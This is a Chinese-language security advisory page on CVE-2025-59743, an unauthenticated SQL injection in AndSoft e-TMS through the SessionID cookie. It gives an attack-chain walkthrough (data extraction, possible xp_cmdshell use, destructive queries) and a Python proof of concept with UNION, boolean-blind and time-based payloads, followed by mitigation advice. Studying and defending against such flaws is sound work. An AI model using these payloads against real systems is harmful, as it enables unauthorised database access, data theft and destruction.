IPBUF安全漏洞报告
English
CVE-2025-59743 CVSS 9.8 严重

CVE-2025-59743:AndSoft e-TMS SQL注入漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59743
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AndSoft e-TMS

相关标签

SQL注入AndSofte-TMS运输管理系统未认证漏洞高危漏洞CVSS9.8INCIBECONNECTION.ASPSessionID注入

漏洞概述

CVE-2025-59743是AndSoft公司开发的e-TMS(电子运输管理系统)v25.03版本中存在的一个严重SQL注入漏洞。该漏洞于2025年10月2日由西班牙国家网络安全研究所(INCIBE)披露,CVSS评分为9.8分,属于最高严重等级。e-TMS是AndSoft公司面向运输和物流行业推出的企业级管理平台,广泛应用于货运调度、订单管理、车辆跟踪等业务场景。

该漏洞存在于系统的'/inc/connect/CONNECTION.ASP'文件中,攻击者可以通过精心构造的POST请求,利用'SessionID' Cookie参数注入恶意SQL语句。由于该漏洞无需任何认证即可利用,远程攻击者可以在未经授权的情况下对数据库执行任意SQL操作,包括但不限于读取敏感数据(如用户凭证、财务信息、运输合同等)、创建、修改和删除数据库记录,甚至可能通过数据库特性实现远程命令执行。

由于e-TMS系统通常存储大量企业核心业务数据,包括客户信息、订单详情、支付记录等敏感数据,该漏洞的利用可能对受影响企业造成严重的数据泄露和业务中断风险。INCIBE已发布安全公告提醒相关用户尽快采取修复措施。

技术细节

该SQL注入漏洞的根本原因在于AndSoft e-TMS v25.03的连接文件'/inc/connect/CONNECTION.ASP'未能对用户输入的'SessionID' Cookie参数进行充分的验证和过滤。当系统处理客户端发送的请求时,SessionID Cookie的值被直接拼接到SQL查询语句中,而没有使用参数化查询或预编译语句,导致攻击者可以通过注入恶意SQL片段来操纵后端数据库查询。

漏洞利用方式如下:
1. 攻击者首先向目标服务器的'/inc/connect/CONNECTION.ASP'端点发送一个HTTP POST请求;
2. 在请求中将SessionID Cookie的值替换为精心构造的SQL注入payload,例如使用UNION SELECT语句来提取数据,或使用堆叠查询(stacked queries)执行多条SQL语句;
3. 由于漏洞的CVSS向量显示攻击复杂度低(AC:L)、无需权限(PR:N)、无需用户交互(UI:N),攻击者可以完全自动化地利用此漏洞;
4. 利用成功后,攻击者可以执行任意数据库操作,包括数据提取、数据篡改和数据删除,严重时可能导致整个数据库被破坏。

该漏洞的修复需要开发者在数据库连接和查询代码中实施严格的输入验证,使用参数化查询(Prepared Statements)或ORM框架来处理所有用户输入,同时对Cookie值进行白名单验证和长度限制。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络侦察确定目标系统运行AndSoft e-TMS v25.03版本,识别出'/inc/connect/CONNECTION.ASP'端点的存在。
STEP 2
步骤2:漏洞探测
攻击者向目标端点发送包含恶意SessionID Cookie的POST请求,通过UNION查询、布尔盲注或时间盲注等方式确认SQL注入漏洞的存在。
STEP 3
步骤3:数据提取
利用确认的SQL注入漏洞,攻击者通过构造UNION SELECT语句提取数据库中的敏感信息,包括用户凭证、客户数据、财务记录等。
STEP 4
步骤4:权限提升与持久化
攻击者可能利用数据库特性(如xp_cmdshell)执行系统命令,创建新的数据库用户或后门账户,实现对系统的持久化访问。
STEP 5
步骤5:数据破坏或勒索
攻击者可执行DROP、DELETE等破坏性SQL语句删除关键业务数据,或窃取数据进行勒索,造成企业重大损失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59743 - AndSoft e-TMS SQL Injection PoC # Vulnerability: SQL Injection via SessionID cookie in /inc/connect/CONNECTION.ASP # CVSS: 9.8 (Critical) import requests TARGET_URL = "http://target-server/inc/connect/CONNECTION.ASP" # SQL injection payload via SessionID cookie # Example: Extract database version using UNION-based injection payload = "' UNION SELECT NULL,@@version,NULL-- -" headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": f"SessionID={payload}", "User-Agent": "Mozilla/5.0" } # Send POST request with malicious SessionID cookie data = {"username": "test", "password": "test"} response = requests.post(TARGET_URL, headers=headers, data=data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Alternative: Boolean-based blind SQL injection payload_blind = "' AND 1=1-- -" headers["Cookie"] = f"SessionID={payload_blind}" response_true = requests.post(TARGET_URL, headers=headers, data=data) payload_blind_false = "' AND 1=2-- -" headers["Cookie"] = f"SessionID={payload_blind_false}" response_false = requests.post(TARGET_URL, headers=headers, data=data) if response_true.text != response_false.text: print("[+] Target is vulnerable to SQL injection!") # Time-based blind SQL injection import time payload_time = "'; WAITFOR DELAY '0:0:5'-- -" headers["Cookie"] = f"SessionID={payload_time}" start = time.time() response = requests.post(TARGET_URL, headers=headers, data=data) elapsed = time.time() - start if elapsed > 4: print(f"[+] Time-based injection confirmed (delay: {elapsed:.2f}s)")

影响范围

AndSoft e-TMS v25.03

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署SQL注入防护规则,过滤包含UNION、SELECT、INSERT、UPDATE、DELETE等关键字的恶意请求;2)在反向代理或负载均衡器层面限制对'/inc/connect/CONNECTION.ASP'端点的直接访问;3)对SessionID Cookie值进行正则表达式白名单验证,仅允许字母数字字符;4)将数据库账户权限降至最低,禁止执行危险操作;5)加强日志监控,及时发现异常数据库访问行为;6)考虑临时关闭e-TMS系统的外部网络访问,仅通过VPN进行内部访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表